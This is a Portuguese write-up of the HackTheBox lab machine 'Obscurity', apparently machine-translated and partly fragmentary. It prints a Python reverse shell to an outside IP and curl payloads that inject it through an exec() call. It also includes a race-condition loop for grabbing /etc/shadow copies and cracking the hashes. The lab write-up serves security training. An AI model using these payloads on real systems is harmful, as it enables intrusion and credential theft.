Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox .Neste artigo, exploramos uma vulnerabilidade no código python e também executamos um ataque de Condição de Corrida.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)Informações Organizacionais, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina possui um endereço IP 10.10.10.168, que eu adiciono ao / etc / hosts.10.10.10.168 obscurity.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A obscurity.htb -p22,8080
O host executa o serviço SSH e o servidor da web. Nós vamos assistir a web.
Assim, temos:- Servidor de Gravação
- Criptografia usada
- O código do servidor no arquivo SuperSecureServer.py em algum diretório desconhecido.
Como sabemos o nome do arquivo, vamos ao diretório. Vamos fazer isso com o wfuzz. Como parâmetro, passamos o dicionário, URL e código de resposta a serem ignorados.wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404
E encontramos este diretório. Vamos baixar o código do servidor.wget http://obscurity.htb:8080/develop/SuperSecureServer.py
Ponto de entrada
Abrimos e analisamos o servidor. Encontramos um uso potencialmente perigoso da função exec ().
Vamos adicionar algumas linhas ao código.
Assim, podemos iniciar o servidor localmente e ver o que entra na função exec (). Vamos iniciar o servidor e enviar uma solicitação.curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"
Assim, temos injeção de comando do sistema operacional.curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"
Usaremos o seguinte shell python reverso.import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Como o código do servidor já contém a importação dos módulos necessários, removemos a importação do shell. Também escapamos de aspas e colchetes.curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Bem! Tudo funciona na máquina local. Vamos executar esta solicitação para o servidor.curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"
Temos um ponto de entrada.DO UTILIZADOR
Examinamos o servidor e encontramos arquivos legíveis no diretório inicial do usuário.
Lemos arquivos.
Assim, os arquivos são criptografados. Baixe tudo o que nos é dado ao host local. A mensagem informa que o arquivo check.txt está criptografado e o resultado está out.txt. Vamos ver o algoritmo.
Assim, durante a criptografia, ocorre a adição do símbolo de texto e do símbolo de chave módulo 255. Ao descriptografar, esses símbolos são subtraídos.Ou seja, ([check.txt] + [chave])% 255 = out.txt e ([out.txt] - [chave])% 255 = check.txt. Então ([out.txt] - [check.txt])% 255 = chave.
E olhe para a chave.
E agora nessa chave, descriptografamos a senha do usuário.
Nós nos conectamos via SSH com essa senha e pegamos a bandeira do usuário.
RAIZ
Vejamos as configurações do sudo, a saber, se o usuário robert pode executar qualquer comando no sudo sem uma senha.
Vamos ver o código. O código exigirá dados de autenticação. Em seguida, ele copia o conteúdo do arquivo / etc / shadow para o diretório / tmp / SSH / *. Em seguida, ele verificará os dados de autenticação e excluirá o arquivo.
Portanto, devemos conseguir copiar o arquivo de / tmp / SSH / * antes de ser excluído. Execute o segundo terminal e execute um ciclo de leitura sem fim.for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done
Agora execute o programa, insira quaisquer dados e veja os hashes.sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
E eles quebram facilmente.
Nós levamos a bandeira da raiz.
Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.